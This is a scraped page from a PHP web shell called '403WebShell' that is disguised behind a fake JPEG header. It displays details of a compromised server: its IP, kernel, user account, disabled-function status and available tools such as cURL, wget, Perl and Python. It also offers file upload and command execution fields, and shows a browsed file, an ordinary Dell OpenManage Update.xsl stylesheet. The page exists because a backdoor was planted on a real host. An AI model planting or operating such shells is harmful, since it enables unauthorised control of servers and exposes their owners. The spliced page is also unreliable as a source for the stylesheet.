����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.116.49.6
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/var/lib/openmanage/xslroot/hip/template/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/var/lib/openmanage/xslroot/hip/template/common/Update.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
	<xsl:output method="xml" omit-xml-declaration="yes"/>
	<xsl:strip-space elements="*"/>
	<xsl:template match="/OMA">
		<xsl:call-template name="SystemBIOS"/>
		<xsl:call-template name="Firmware"/>
		<xsl:call-template name="OSInfo"/>
		<xsl:call-template name="OEMInfo"/>
		<xsl:call-template name="DRSCInfo"/>
		<xsl:call-template name="PERCAMAdaptersInfo"/>
		<xsl:call-template name="StorageEnclosuresInfo"/>
		<xsl:call-template name="PERCAdaptersInfo"/>
		<xsl:call-template name="DriverInfo"/>
		<xsl:call-template name="DRAC2Info"/>
	</xsl:template>
	<xsl:template name="SystemBIOS">
		<xsl:if test="count(SystemBIOS) != '0'">
			<Application name="bios" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="$strBIOS"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="SystemBIOS/Version"/></xsl:attribute>
			</Application>
		</xsl:if>
	</xsl:template>
	<xsl:template name="Firmware">
		<xsl:for-each select="FirmwareList/Firmware[ not (FWType = '16') ] ">
			<Application name="firmware" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="FWText"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="FWVersion"/></xsl:attribute>
			</Application>
		</xsl:for-each>
	</xsl:template>
	<xsl:template name="OSInfo">
		<xsl:if test="count(OSInfo) != '0'">
			<Application name="osinfo" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="OSInfo/OSName"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="OSInfo/OSVersion"/></xsl:attribute>
			</Application>
		</xsl:if>
	</xsl:template>
	<xsl:template name="OEMInfo">
		<xsl:if test="count(OEM/Name) != '0'">
			<Application name="OMSA" update_href="1">
				<xsl:choose>
					<xsl:when test="OEM/Name/@display = 'Dell'">
						<xsl:attribute name="display">Dell <xsl:value-of select="OEM/ProdName"/></xsl:attribute>
					</xsl:when>
					<xsl:otherwise>
						<xsl:attribute name="display"><xsl:value-of select="OEM/ProdName"/></xsl:attribute>
					</xsl:otherwise>
				</xsl:choose>
				<xsl:attribute name="version"><xsl:value-of select="About/ProductVersion"/></xsl:attribute>
			</Application>
		</xsl:if>
	</xsl:template>
	<xsl:template name="DRSCInfo">
		<xsl:if test="count(DRSIdentificationObj) != '0'">
			<!--xsl:choose>
				<xsl:when test="ADMINISTRATOR = '1'">
					<Application name="DRSC" update_href="javascript:parent.ct.select('RAC','Update', '')">
						<xsl:attribute name="display"><xsl:value-of select="$strRemoteAccessController"/></xsl:attribute>
						<xsl:attribute name="version"><xsl:value-of select="DRSIdentificationObj/VersionInfo"/></xsl:attribute>
					</Application>
				</xsl:when>
				<xsl:otherwise-->
					<Application name="DRSC" update_href="1">
						<xsl:attribute name="display"><xsl:value-of select="$strRemoteAccessController1"/></xsl:attribute>
						<xsl:attribute name="version"><xsl:value-of select="DRSIdentificationObj/VersionInfo"/></xsl:attribute>
					</Application>
				<!--/xsl:otherwise>
			</xsl:choose-->
		</xsl:if>
	</xsl:template>
	<xsl:template name="PERCAMAdaptersInfo">
		<xsl:for-each select="AMADAPTERS/DCStorageObject">
			<Application name="PERCAMAdapters" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="Name"/><xsl:value-of select="$strFirmware"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="FirmwareVer"/></xsl:attribute>
			</Application>
		</xsl:for-each>
	</xsl:template>
	<xsl:template name="StorageEnclosuresInfo">
		<!--xsl:for-each select="ENCLOSURES/DCStorageObject">
			<xsl:if test="Type!='1'">
				<Application name="StorageEnclosures" update_href="1">
					<xsl:attribute name="display"><xsl:value-of select="$strStorageEnclosure"/><xsl:value-of select="$strSpace"/><xsl:value-of select="Name"/></xsl:attribute>
					<xsl:attribute name="version"><xsl:value-of select="ProductVer"/></xsl:attribute>
				</Application>
			</xsl:if>
		</xsl:for-each-->
	</xsl:template>
	<xsl:template name="PERCAdaptersInfo">
		<xsl:for-each select="ADAPTERS/Result/Inventory/Entry">
			<Application name="PERCAdapters" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="@name"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="@vendorVersion"/></xsl:attribute>
			</Application>
		</xsl:for-each>
	</xsl:template>
	<xsl:template name="DriverInfo">
		<xsl:for-each select="DriverInfo/Result/Inventory/Entry">
			<Application name="Driver" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="@name"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="@vendorVersion"/></xsl:attribute>
			</Application>
		</xsl:for-each>
	</xsl:template>
	<xsl:template name="DRAC2Info">
		<xsl:if test="DRAC2/Result/Inventory/Entry/@vendorVersion != 'null'">
		<xsl:if test="DRAC2/Result/Inventory/Entry/@vendorVersion != '0.0'">
			<Application name="DRAC2" update_href="1">
				<xsl:attribute name="display"><xsl:value-of select="DRAC2/Result/Inventory/Entry/@name"/></xsl:attribute>
				<xsl:attribute name="version"><xsl:value-of select="DRAC2/Result/Inventory/Entry/@vendorVersion"/></xsl:attribute>
			</Application>
		</xsl:if>
		</xsl:if>
	</xsl:template>	
	<xsl:template match="*"/>
</xsl:stylesheet>

Youez - 2016 - github.com/yon3zu
LinuXploit